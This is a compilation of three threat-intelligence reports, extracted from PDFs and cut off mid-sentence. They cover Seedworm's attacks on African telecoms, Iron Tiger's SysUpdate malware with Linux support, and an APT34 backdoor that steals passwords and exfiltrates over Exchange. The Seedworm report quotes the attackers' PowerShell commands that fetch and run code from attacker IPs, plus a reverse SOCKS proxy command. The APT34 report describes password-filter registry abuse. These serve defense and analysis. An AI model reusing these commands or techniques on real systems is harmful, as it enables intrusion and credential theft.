Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. Seedworm: Iranian Hackers Target Telecoms Orgs in North and East Africa symantec-enterprise-blogs.security.com/blogs/threat-intelligence/iran-apt-seedworm-africa-telecoms Iranian espionage group Seedworm (aka Muddywater) has been targeting organizations operating in the telecommunications sector in Egypt, Sudan, and Tanzania. Seedworm has been active since at least 2017, and has targeted organizations in many countries, though it is most strongly associated with attacks on organizations in the Middle East. It has been publicly stated that Seedworm is a cyberespionage group that is believed to be a subordinate part of Iran s Ministry of Intelligence and Security (MOIS). The attackers used a variety of tools in this activity, which occurred in November 2023, including leveraging the MuddyC2Go infrastructure, which was recently discovered and documented by Deep Instinct. Researchers on Symantec s Threat Hunter Team, part of Broadcom, found a MuddyC2Go PowerShell launcher in the activity we investigated. The attackers also use the SimpleHelp remote access tool and Venom Proxy, which have previously been associated with Seedworm activity, as well as using a custom keylogging tool, and other publicly available and living-off-the-land tools. Attack Chain The attacks in this campaign occurred in November 2023. Most of the activity we observed occurred on one telecommunications organization. The first evidence of malicious activity was some PowerShell executions related to the MuddyC2Go backdoor. A MuddyC2Go launcher named vcruntime140.dll was saved in the folder csidl_common_appdata\javax , which seems to have been sideloaded by jabswitch.exe. Jabswitch.exe is a legitimate Java Platform SE 8 executable. The MuddyC2Go launcher executed the following PowerShell code to connect to its command-and-control (C&C) server: tppmjyfiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp;$tppmjy fiqnqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp="tppmjyfiqnqp trfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynllcnjworqepp";$uri ="http://95.164.38.99:443/HR5rOv8enEKonD4a0UdeGXD3xtxWix2Nf";$response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex $response.Content; It appears that the variables at the beginning of the code are there for the purposes of attempting to bypass detection by security software, as they are unused and not relevant. Right after this execution, attackers launched the MuddyC2Go malware using a scheduled task that had previously been created: "CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun" The attackers also used some typical commands related to the Impacket WMIExec hacktool: cmd.exe /Q /c cd \ 1> \\127.0.0.1\ADMIN$\__1698662615.0451615 2>&1 The SimpleHelp remote access tool was also leveraged, connecting to the 146.70.124[.]102 C&C server. Further PowerShell stager execution also occurred, while the attacker also executed the Revsocks tool: CSIDL_COMMON_APPDATA\do.exe -co 94.131.3.160:443 -pa super -q The attackers also used a second legitimate remote access tool, AnyDesk, which was deployed on the same computer as Revsocks and SimpleHelp, while PowerShell executions related to MuddyC2Go also occurred on the same machine: $uri ="http://45.150.64.39:443/HJ3ytbqpne2tsJTEJi2D8s0hWo172A0aT";$response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex $response.Content; Notably, this organization is believed to have previously been infiltrated by Seedworm earlier in 2023. The primary activity of note during that intrusion was extensive use of SimpleHelp to carry out a variety of activity, including: Launching PowerShell Launching a proxy tool Dumping SAM hives Using WMI to get drive info Installing the JumpCloud remote access software Delivering proxy tools, a suspected LSASS dump tool, and a port scanner. During that intrusion, it s believed the attackers used WMI to launch the SimpleHelp installer on the victim network. At the time, this activity couldn t be definitively linked to Seedworm, but this subsequent activity appears to show that the earlier activity was carried out by the same group of attackers. In another telecommunications and media company targeted by the attackers, multiple incidents of SimpleHelp were used to connect to known Seedworm infrastructure. A custom build of the Venom Proxy hacktool was also executed on this network, as well as the new custom keylogger used by the attackers in this activity. In the third organization targeted, Venom Proxy was also used, in addition to AnyDesk and suspicious Windows Scripting Files (WSF) that have been associated with Seedworm activity in the past. Toolset The most interesting part of the toolset used in this activity is probably the presence of the MuddyC2Go launcher, which was sideloaded by jabswitch.exe. The malware reads the C&C URL from the Windows registry value stored inside the key HKLM\\SYSTEM\\CurrentControlSet\\Services\\Tcpip . The URL path is read from the Status value in the same aforementioned key. Lastly, the MuddyC2GO launcher executes the following PowerShell command to contact its C&C server and execute the PowerShell code received: powershell.exe -c $uri ='{C2_URI}';$response = Invoke-WebRequest UseBasicParsing -Uri $uri -Method GET -ErrorAction Stop;Write-Output $response.Content;iex $response.Content; The MuddyC2Go framework was first publicly written about in a blog published by Deep Instinct researchers on November 8, 2023. That blog documented its use in attacks on organizations in countries in the Middle East. The researchers said the framework may have been used by Seedworm since 2020. They also said that the framework, which is written in Go, has replaced Seedworm s previous PhonyC2 C&C infrastructure. This replacement appears to have occurred after the PhonyC2 source code was leaked earlier in 2023. The full capabilities of MuddyC2Go are not yet known, but the executable contains an embedded PowerShell script that automatically connects to Seedworm s C&C server, which eliminates the need for manual execution by an operator and gives the attackers remote access to a victim machine. Deep Instinct said it was able to link MuddyC2Go to attacks dating back to 2020 due to the unique URL patterns generated by the framework. It also said that the MuddyC2Go servers it observed were hosted at Stark Industries , which is a VPS provider that is known to host malicious activity. Other tools of note used in this activity included SimpleHelp, which is a legitimate remote device control and management tool, for persistence on victim machines. SimpleHelp is believed to have been used in attacks carried out by Seedworm since at least July 2022. Once installed on a victim device, SimpleHelp can constantly run as a system service, which makes it possible for attackers to gain access to the user s device at any point in time, even after a reboot. SimpleHelp also allows attackers to execute commands on a device with administrator privileges. SimpleHelp is now strongly associated with Seedworm activity and the tool is installed on several of Seedworm s servers. Venom Proxy is a publicly available tool that is described as a multi-hop proxy tool developed for penetration testers. It is written in Go. It can be used to easily proxy network traffic to a multi-layer intranet, and easily manage intranet nodes. It has been associated with Seedworm since at least mid-2022, with Microsoft describing it as Seedworm tool of choice in an August 2022 blog. Seedworm tends to use a custom build of Venom Proxy in its activity. Other tools used in this activity include: Revsocks - A cross-platform SOCKS5 proxy server program/library written in C that can also reverse itself over a firewall. AnyDesk - A legitimate remote desktop application. It and similar tools are often used by attackers to obtain remote access to computers on a network. PowerShell - Seedworm makes heavy use of PowerShell, as well as PowerShellbased tools and scripts in its attacks. PowerShell is a Microsoft scripting tool that can be used to run commands, download payloads, traverse compromised networks, and carry out reconnaissance. Custom keylogger Conclusion Seedworm has long had an interest in telecommunications organizations, as do many groups engaged in cyberespionage activities. However, its strong focus on African organizations in this campaign is notable as, while it has been known to target organizations in Africa in the past, it does generally primarily focus on organizations in countries in the Middle East. That one of the victim organizations in this campaign is based in Egypt is also of note given Egypt s proximity to Israel, a frequent target of Seedworm. Seedworm appears to remain focused on using a wide array of living-off-the-land and publicly available tools in its attack chains, no doubt in an effort to remain undetected on victim networks for as long as possible. However, its recent more wide adoption of new C&C infrastructure in the form of MuddyC2Go is notable and shows that the group continues to innovate and develop its toolset when required in order to keep its activity under the radar. While the group uses a lot of living-off-the-land and publicly available tools, it is also capable of developing its own custom tools, such as the custom build of Venom Proxy and the custom keylogger used in this campaign. The group still makes heavy use of PowerShell and PowerShell-related tools and scripts, underlining the need for organizations to be aware of suspicious use of PowerShell on their networks. The activity observed by Symantec s Threat Hunter Team took place in November 2023, showing that Seedworm is very much a currently active threat faced by organizations that may be of strategic interest to Iranian threat actors. Protection/Mitigation For the latest protection updates, please visit the Symantec Protection Bulletin. Indicators of Compromise If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file. File Indicators 1a0827082d4b517b643c86ee678eaa53f85f1b33ad409a23c50164c3909fdaca MuddyC2Go DLL launcher 25b985ce5d7bf15015553e30927691e7673a68ad071693bf6d0284b069ca6d6a Benign Java(TM) Platform SE 8 executable used for sideloading MuddyC2Go DLL eac8e7989c676b9a894ef366357f1cf8e285abde083fbdf92b3619f707ce292f Custom keylogger 3916ba913e4d9a46cfce437b18735bbb5cc119cc97970946a1ac4eab6ab39230 Venom Proxy Network Indicators 146.70.124[.]102 SimpleHelp C&C server 94.131.109[.]65 MuddyC2Go C&C server 95.164.38[.]99 MuddyC2Go C&C server 45.67.230[.]91 MuddyC2Go C&C server 95.164.46[.]199 MuddyC2Go C&C server 94.131.98[.]14 MuddyC2Go C&C server 94.131.3[.]160 GoSOCKS5proxy C&C server About the Author Threat Hunter Team Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. Iron Tiger s SysUpdate Reappears, Adds Linux Targeting trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html March 1, 2023 APT & Targeted Attacks We detail the update that advanced persistent threat (APT) group Iron Tiger made on the custom malware family SysUpdate. In this version, we also found components that enable the malware to compromise Linux systems. By: Daniel Lunghi March 01, 2023 Read time: 11 min (3060 words) Iron Tiger is an advanced persistent threat (APT) group that has been focused primarily on cyberespionage for more than a decade. In 2022, we noticed that they updated SysUpdate, one of their custom malware families, to include new features and add malware infection support for the Linux platform. We found the oldest sample of this updated version in July 2022. At the time, we attributed the sample to Iron Tiger but had not yet identified the final payload. It was only after finding multiple similar payloads in late October 2022 that we looked further and found similarities with the SysUpdate malware family that had also been updated in 2021. As with the previous version, Iron Tiger had made the loading logic complex, probably in an attempt to evade security solutions. This new version has similar features to the 2021 version, except that the C++ run-time type information (RTTI) classes we previously observed in 2021 had been removed, and that the code structure was changed to use the ASIO C++ asynchronous library. Both changes make reverse engineering the samples longer. We strongly advise organizations and users in the targeted industries to reinforce their security measures to defend their systems and stored information from this ongoing campaign. Campaign development timeline These are the key dates for understanding the chronology of Iron Tiger s operations: Apr. 2, 2022: Registration of the domain name linked to our oldest Windows sample of SysUpdate May 11, 2022: The command and control (C&C) infrastructure was set up. June 8, 2022: While this could have been tampered with, observed compilation date of our oldest Windows sample. July 20, 2022: Oldest Windows sample gets uploaded to Virus Total Oct. 24, 2022: Oldest Linux sample gets uploaded to Virus Total 1/11 We observed that the attacker registered the oldest domain name one month before starting the C&C configuration then waited one more month before compiling the malicious sample linked to that domain name. We think the gap between the two updates allows the attackers to plan their operations accordingly. Loading process We observed the loading process entailing the following steps: The attacker runs rc.exe, a legitimate Microsoft Resource Compiler signed file , which is vulnerable to a DLL side-loading vulnerability, and loads a file named rc.dll. The malicious rc.dll loads a file named rc.bin in memory. The rc.bin file is a Shikata Ga Nai encoded shellcode that decompresses and loads the first stage in memory. Depending on the number of command line parameters, different actions are performed: Zero or two parameters: Installs the malware in the system, and calls Stage 1 again via process hollowing with four parameters One parameter: Same as previous action but without the installation Four parameters: Creates a memory section with the DES-encrypted malware configuration and a second Shikata Ga Nai shellcode decompressing and loading Stage 2. It then runs Stage 2 via process hollowing. The installation step is considered simple wherein the malware moves the files to a hardcoded folder. Depending on the privileges of the process, the malware either creates a registry key or a service that launches the moved executable rc.exe with one parameter. This ensures that the malware will be launched during the next reboot, skipping the installation part. 2/11 Figure 1. Updated SysUpdate loading process routine We saw different legitimate executables being used, sideloading different DLL names, and multiple binary files names being loaded by those DLLs. We identified the executables and sideloaded files as follows: Legitimate application name Certificate signer Side-loaded DLL name Loaded binary file name INISafeWebSSO.exe Initech inicore_v2.3.30.dll inicore_v2.3.30.bin rc.exe Microsoft rcdll.dll rcdll.bin dlpumgr32.exe DESlock DLPPREM32.dll sv.bin GDFInstall.exe UBISOFT ENTERTAINMENT GameuxInstallHelper.DLL sysconfig.bin route-null.exe Wazuh libwazuhshared.dll wazuhext.bin route-null.exe Wazuh libwazuhshared.dll agent-config.bin wazuh-agent.exe Wazuh libwinpthread-1.dll wazuhext.bin Table 1. SysUpdate s seemingly legitimate executables and their respective sideloaded files 3/11 We want to highlight that this is the first time we observed a threat actor abusing a sideloading vulnerability in a Wazuh signed executable. Wazuh is a free and open source security platform, and we could confirm that one of the victims was using the legitimate Wazuh platform. It is highly likely that Iron Tiger specifically looked for this vulnerability to appear legitimate in the victim s environment. We have notified the affected victim of this intrusion but received no feedback. Malware features Looking at the features, several of the functions found in the latest update are similar to the previous SysUpdate version: Service manager (lists, starts, stops, and deletes services) Screenshot grab Process manager (browses and terminates processes) Drive information retrieval File manager (finds, deletes, renames, uploads, downloads a file, and browses a directory) Command execution Iron Tiger also added a feature that had not been seen before in this malware family: C&C communication through DNS TXT requests. While DNS is not supposed to be a communication protocol, the attacker abuses this protocol to send and receive information. Figure 2. C&C communication with DNS TXT records First, the malware retrieves the configured DNS servers by calling the GetNetworkParams API function and parsing the DnsServerList linked list. If this method fails, the malware uses the DNS server operated by Google at IP address 8.8.8.8. For the first request, the malware generates a random number of 32 bits and appends 0x2191 to it. This results in six bytes four for the random number, two for 0x2191 and encodes the result further with Base32 algorithm using the alphabet abcdefghijklmnopqrstuvwxyz012345 . Looking at Figure 2, the contacted domain name is after "TXT"; only the first four letters change as the rest of the encoded series is always the same. This is because the random number changes every time, but the end is the same 0x2191 result. This explains why the first DNS request always ends with reeaaaaaa. . If the C&C reply matches the format expected by the malware, it launches multiple threads that handle further commands and sends information about the infected machine. 4/11 Interestingly, the code related to this DNS C&C communication is only present in samples that use it, meaning that the builder is modular and that there might be samples in the wild with unreported features. We continue monitoring this group and malware family for updates on possible variations of C&C communication protocols being abused. In all versions, the malware retrieves information on the infected machine and sends it to the C&C encrypted with DES. Collected machine information includes the following: Randomly generated GUID Hostname Domain name Username User privileges Processor architecture Current process ID Operating system version Current file path Local IP address and port used to send the network packet The configuration is encrypted with a hardcoded DES key and is a few bytes long following the structure enumerated below: Field content Length (in bytes) Comment Example Header We only found one value 0x00000001 GUID Follows the Microsoft format {89D0E853-FA084f94-A5FEA90E6869E074} Size of the C&C section 0x00000018 Size of the next C&C domain name and port 0x00000014 C&C type 0x01 = regular C&C 0x01 0x05 = DNS tunneling 0x00 = regular C&C C&C domain name Variable dev.gitlabs.me Port number 0x00000050 5/11 Size of next section Next section contains all the hardcoded names (folder, files, registry values) 0x00000034 Name of the hardcoded directory where files are copied Variable The folder is located either in % gtdcfp Name of the executable vulnerable to side loading Variable TextInputHost.exe Name of the malicious side-loaded DLL Variable rc.dll Name of the binary file containing the encoded Stage 1 Variable rc.bin Name of the service or registry key value used for persistence Variable gtdcfp Table 2. Configuration structure We noted that Stage 2 does not embed the configuration file, which is copied in memory by the previous stage. We only saw one case where there was only one stage being decrypted in memory and the configuration was hardcoded. Interestingly, all the samples of this version had a domain name as its C&C. In the previous version of SysUpdate, the group used hardcoded IP addresses as C&C. It is possible that this change is a consequence of the new DNS TXT records communication feature as it requires a domain name. SysUpdate samples for Linux While investigating SysUpdate s infrastructure, we found some ELF files linked to some C&C servers. We analyzed them and concluded that the files were a SysUpdate version made for the Linux platform. The ELF samples were also written in C++, made use of the Asio library, shared common network encryption keys, and had many similar features. For example, the file handling functions are almost the same. It is possible that the developer made use of the Asio library because of its portability across multiple platforms. Some parameters can be passed to the binary (note that Boolean refers to Boolean data that is sent to the C&C): Parameter Effect 6/11 -launch Sets persistence, zeroes boolean, and exits -run Zeroes boolean and continues Daemonize the process, zeroes boolean, and continues Daemonize the process, zeroes boolean, sets persistence, and continues -f Sets the GUID to and continues Table 3. Parameters passed to the binary as observed from Linux SysUpdate samples The persistence is ensured by copying a script similarly named as the current filename to the /usr/lib/systemd/system/ directory, and creating a symlink to this file in the /etc/ystem/system/multi-user.target.wants/ directory. Thus, this method only works if the current process has root privileges. The content of the script is: [Unit] Description=xxx [Service] Type=forking ExecStart= -x ExecStop=/usr/bin/id [Install] WantedBy=multi-user.target After running the code dependent on the parameters, if the operator has not chosen a GUID with the parameter, the malware generates a random GUID and writes it to a file similarly named as the current file, with a appended to it. Then, the malware retrieves information on the compromised computer and sends it to the C&C. The following information is sent to the C&C, encrypted with a hardcoded key and DES CBC algorithm: GUID Host name Username Local IP address and port used to send the request Current PID Kernel version and machine architecture Current file path Boolean (0 if it was launched with exactly one parameter, 1 otherwise) 7/11 For the DNS C&C communication version, the malware retrieves the configured DNS server by reading the content of the /etc/resolv.conf file, or uses the DNS server operated by Google at IP address 8.8.8.8. In 2022, we already noticed that this threat actor was interested in platforms other than Windows, with the rshell malware family running on Linux and Mac OS. For these reasons, we would not be surprised to see SysUpdate samples for the Mac OS platform in the future. Interestingly, most of the Linux samples we found used the new DNS tunneling feature we detailed in Figure 2, while only one of the Windows samples used it. Certificate compromise Another interesting part of this campaign is the fact that some of the malicious files are signed with a certificate with the following signer: Permyakov Ivan Yurievich IP . Looking for that name in search engines brings results from the official VMProtect website. The email address linked to the Authenticode certificate also links to that domain name. VMProtect is a commercial software intended to make analysis of code extremely difficult by implementing a custom virtual machine with non-standard architecture. The software has been used by multiple APT and cybercrime groups in the past to obfuscate their malware. When searching on malware repositories for other files signed by the same certificate, we find multiple files named VMProtectDemo.exe VMProtect.exe , or VMProtect_Con.exe which suggests that an official demo version of VMProtect is also signed by this certificate. It appears that the threat actor managed to retrieve the private key allowing him to sign malicious code. As of this writing, the certificate is now revoked. Using stolen certificates to sign malicious code is a common practice for this threat actor, as we already highlighted in 2015 and in all our recent investigations. Interestingly, the threat actor not only signed some of its malicious executables with the stolen certificate, but also used VMProtect to obfuscate one of them. In late January 2023, a Redline stealer sample (detected by Trend Micro as TrojanSpy.Win32.REDLINE.YXDA1Z, SHA256: e24b29a1df287fe947018c33590a0b443d6967944b281b70fba7ea6556d00109) signed by the same certificate was uploaded. We do not believe that the stealer is linked to Iron Tiger, considering that the network infrastructure is different, and previous reports document the malware s goals to be centered on committing cybercrime than data theft. This could mean other users managed to extract the same private key from the VMProtect demo version, or it was sold in the underground to different groups, Iron Tiger among them. Infection vector 8/11 We did not find an infection vector. However, we noticed that one of the executables packed with VMProtect and signed with the stolen certificate was named youdu_client_211.9.194.exe . Youdu is the name of a Chinese instant messaging application aimed for use of enterprise customers. Its website mentions multiple customers in many industries, some of them in critical sectors such as government, energy, healthcare, or banking. But they also have other customers in industries such as gaming, IT, media, construction, and retail, apparently all located inside China. The properties of the malicious file also match the usual Youdu version numbering. However, the legitimate files are signed with a Xinda.im certificate instead of the stolen VMProtect certificate. Figure 3. Comparing the properties of the malicious file (left), and properties of the legitimate Youdu installer (right) As seen in the product name identified in the malicious file s properties, we searched for possible products named i Talk but did not find any that could be related to this investigation. However, we found traces of files from the legitimate Youdu chat application signed by Xinda.im being copied to folders named i Talk on one victim s computer. This suggests that some chat application named i Talk might be repackaging components from the official Youdu client along with malicious executables. It appears that a chat application was used as a lure to entice the victim into opening the malicious file. This would be consistent with the tactics, techniques, and procedures (TTPs) of two previous Iron Tiger campaigns from 2020 and 2021: a documented compromise of a chat application widely used by the Mongolian government, and a supply chain attack on Mimi chat, a chat application used in parts of South East Asia. Post-exploitation tools We found a custom Chrome password and cookie grabber that appeared unfamiliar, and it was compiled and uploaded in September 2022. The file was also signed with the VMProtect certificate but it was not obfuscated. In general, the features were simple; the malware 9/11 decrypts the saved passwords to a file named passwords.txt , and the cookies to a file named cookies.txt Analyzing its details, the malware first parses the Local State file to retrieve the AES key used to encrypt the cookies and passwords. It then copies the Login Data file to a temporary file chromedb_tmp , issues an SQL query to extract the URL, login, and password fields from the file, and then decrypts them and appends the result to the passwords.txt file. It proceeds to copy the Cookies file to a temporary file chromedb_tmp , extracts multiple fields from it using an SQL query, and then decrypts the content before copying the result to the cookies.txt file. Some specific cookies related to Google domain names are ignored, probably because they are mostly related to specific Google features or tracking that are considered useless by the threat actor. We found two other samples from this stealer: One compilation date indicated an executable built in November 2020, and the other one in December 2021, although those dates could be tampered with. We found those samples were uploaded on November 2021 and August 2022, meaning this stealer existed since at least late 2021. Targeting We identified one gambling company in the Philippines as compromised by this campaign. Interestingly, the threat actor registered a domain name similar to the company name and used it as a C&C. This was not surprising as we have noticed this threat actor targeting this industry since 2019 during our Operation DRBControl investigation, and later in 2021 with an update of SysUpdate. We also attempted to notify the company of this incident through all their listed channels but have received no feedback. As stated in the Infection Vector section, we noticed the Youdu chat application was probably used as a lure. It is worth mentioning that the customers mentioned in the Youdu official website are all located inside China, which could be an indicator of the threat actor interest in targets related to this country. Conclusion This investigation confirms that Iron Tiger regularly updates its tools to add new features and probably to ease their portability to other platforms, verifying the interest we found from this threat actor for Linux or Mac OS. It also corroborates this threat actor s interest in the gambling industry and the South East Asia region, as we previously noted in 2020 and 2021. This campaign also substantiates the regular usage of chat applications as infection vectors from Iron Tiger. We expect to find further updates of these tools in the future to accommodate other platforms and apps. 10/11 As an additional warning, we want to highlight that the targeting can be wider than the samples and targeting we have already observed. In 2022, we discussed a campaign targeting Taiwan and the Philippines that made use of HyperBro samples (detected by Trend Micro as Backdoor.Win32.HYPERBRO.ENC) signed with a stolen Cheetah certificate. The BfV, a German governmental entity, published a report in January 2022 mentioning attacks against German companies with HyperBro samples that were also signed with the same certificate. In October 2022, Intrinsec reported an incident in a French company also using HyperBro samples matching the structure we described in our 2021 investigation. This shows the threat actor is likely to reuse the tools mentioned here in future campaigns that might target different regions or industries in the short and long term. Considering the active campaign and regular developments made on this malware family, organizations are advised to enhance and broaden their current and established security measures, and heighten overall vigilance for possible infection vectors that can be abused by this threat group. Indicators of Compromise (IOCs) Download the full list of indicators here. 11/11 New APT34 Malware Targets The Middle East trendmicro.com/en_us/research/23/b/new-apt34-malware-targets-the-middle-east.html February 2, 2023 APT & Targeted Attacks We analyze an infection campaign targeting organizations in the Middle East for cyberespionage in December 2022 using a new backdoor malware. The campaign abuses legitimate but compromised email accounts to send stolen data to external mail accounts controlled by the attackers. By: Mohamed Fahmy, Sherif Magdy, Mahmoud Zohdy February 02, 2023 Read time: 8 min (2155 words) On December 2022, we identified a suspicious executable (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) that was dropped and executed on multiple machines. Our investigation led us to link this attack to advanced persistent threat (APT) group APT34, and the main goal is to steal users credentials. Even in case of a password reset or change, the malware is capable of sending the new credentials to the threat actors. Moreover, after analyzing the backdoor variant deployed, we found the malware capable of new exfiltration techniques the abuse of compromised mailbox accounts to send stolen data from the internal mail boxes to external mail accounts controlled by the attackers. While not new as a technique, this is the first instance that APT34 used this for their campaign deployment. Following this analysis, it is highly likely that this campaign s routine is only a small part of a bigger chain of deployments. Users and organizations are strongly advised to reinforce their current security measures and to be vigilant of the possible vectors abused for compromise. Routine In this section, we describe the attack infection flow and its respective stages, as well as share details on how the group uses emails to steal and exfiltrate critical information. First Stage: Initial Droppers 1/12 Figure 1. Initial stage .Net droppers We found the initial stage .Net dropper malware called MrPerfectInstaller (detected by Trend Micro as Trojan.MSIL.REDCAP.AD) responsible for dropping four different files, with each component stored in a Base64 buffer inside the main dropper. It drops the following: 1. %System%\psgfilter.dll: The password filter dynamic link library (DLL) used to provide a way to implement the password policy and change notification 2/12 2. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe: The main .Net responsible for exfiltrating and leaking specific files dropped into the root path of this backdoor execution. This backdoor requires the .Net library implementing Microsoft Exchange webservices to authenticate with the victim mail server and exfiltrate through it. 3. %ProgramData%\WindowsSoftwareDevices\Microsoft.Exchange.WebServices.dll: The library to support the second component s capability. 4. %ProgramData%\WindowsSoftwareDevices\DevicesSrv.exe.config: An app configuration file for runtimes of the .Net execution environment. This allows the option of falling back to .Net 2.0. Figure 2. The four Base64 encoded buffers inside the main .Net dropper 3/12 Figure 3. The four modules dropped by the main binary The dropper also adds the following registry key to assist in implementing the password filter dropped earlier: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa Notification Packages = scecli, psgfilter Figure 4. Adds the registry key The main .Net binary implements two arguments for its operation: the first argument for installing the second stage, and the second argument for uninstalling it and unregistering the password filter dropped. Figure 5. Implementing two arguments for operation Figure 6. Function in case -u passed to dropper 4/12 Figure 7. Function in case -i passed to dropper, installing the second stage, then uninstalling it and unregistering the password filter Second Stage: Abusing The Dropped Password Filter Policy Microsoft introduced Password Filters for system administrators to enforce password policies and change notifications. These filters are used to validate new passwords, confirm that these are aligned with the password policy in place, and ensure that no passwords in use can be considered compliant with the domain policy but are considered weak. These password filters can be abused by a threat actor as a method to intercept or retrieve credentials from domain users (domain controller) or local accounts (local computer). This is because for password filters to perform, password validation requires the password of the user in plaintext from the Local Security Authority (LSA). Therefore, installing and registering an arbitrary password filter could be used to harvest credentials every time a user changes his password. This technique requires elevated access (local administrator) and can be implemented with the following steps: 1. Password Filter psgfilter.dll be dropped into C:\Windows\System32 2. Registry key modification to register the Password Filter [DLL HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa Notification Packages = scecli, psgfilter] Using this technique, the malicious actor can capture and harvest every password from the compromised machines even after the modification. The DLL has three export functions to implement the main functionality of support for registering the DLL into the LSA, as follows: InitializeChangeNotify: Indicates that a password filter DLL is initialized. PasswordChangeNotify: Indicates that a password has been changed. PasswordFilter: Validates a new password based on password policy. 5/12 Figure 8. First and second stages Figure 9. Functions exported by DLL When implementing the password filter export functions, the malicious actor took great care working with the plaintext passwords. When sent over networks, the plaintext passwords were first encrypted before being exfiltrated. Data Exfiltration Through Legitimate Mail Traffic The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords. 6/12 Figure 10. High level overview of malware s data exfiltration routine First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled ngb inside <%ProgramData%\WindowsSoftwareDevices\DevicesTemp\> to extract three parameters: Server: The specific Exchange mail server for the targeted government entity where the data is leaked through. Target: The email addresses where the malicious actors receive the exfiltrated data in. Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East. However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter. 7/12 Figure 11. Checking the config file path ngb The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate. Figure 12. Initialize EWS binding to the victim mail server The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step. Figure 13. Iterating through the files found under the target path 8/12 The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject Exchange Default Message , and a mail body content of Exchange Server is testing services. The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account. Figure 14. Exfiltrating files using mail attachments Figure 15. Some hardcoded targets in the sample Figure 16. How the Sent folder looks like for a compromised user 9/12 APT34 Targeting and Arsenal Evolution APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques from the heavy use of DNSbased command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic to bypass any security policies enforced on the network perimeters. From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise. For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly. Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers. Based on a 2019 report on APT34, the top countries targeted by the group are: The United Arab Emirates China Jordan Saudi Arabia While not at the top of the group s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt. Attribution Analysis There are several data points and indicators that suggest APT34 carried out this attack, and that this group is still active in targeting countries in the Middle East with a special focus on compromising government entities. The first stage dropper The first stage dropper between the Saitama backdoor and this new operation s first stage .Net dropper have a few similarities. Despite the dated Saitama operation s first stage dropper, a VBA macro that drops the actual .Net backdoor Saitama malware, the new attack implemented in the group s latest deployment is a .Net dropper that drops the actual malware. Both deployments final stages leverage EWS Managed API (Microsoft.Exchange.WenServices.dll). Figure 17. Saitama backdoor s first stage dropper (left), and the dropped files for the new APT34 .Net backdoor in the first stage (right) Leveraging exchange servers for communications (Uni- and bidirectional) Both this campaign and the Karkoff campaign made use of targeted exchange servers and relayed communications through it. In the previous campaign, this was reportedly done with the deployment of the Karkoff implant. The old Karkoff sample attributed to APT34 share a common functionality for abusing the EWS API. 10/12 Figure 18. The Karkoff implant leveraging EWS (top), and the newer APT34 backdoor s use of EWS (bottom) The victim targeted APT34 has been documented for targeting countries in the Middle East. In a previous campaign analyzed by Yoroi Labs, the Karkoff sample (SHA256: 1f47770cc42ac8805060004f203a5f537b7473a36ff41eabb746900b2fa24cc8) attributed to APT34 has the mail server domain hardcoded inside the sample. Alongside the target mail recipient the attackers receive information from is the same hardcoded mail server domain found in the latest backdoor, including the targeted Exchange Server for a government ministry. Both samples included some hardcoded credentials as well. However, the newer backdoor includes support for stealing the new passwords of previously compromised users who changed their passwords, ensuring their legitimate accounts stay compromised. Figure 19. Karkoff implant targeting an army mail server in 2020 (top), and the newer APT backdoor targeting another mail server in 2023 (bottom) Conclusions At first glance, security teams can mistakenly tag the sample as safe or as a benign activity given the validity of the 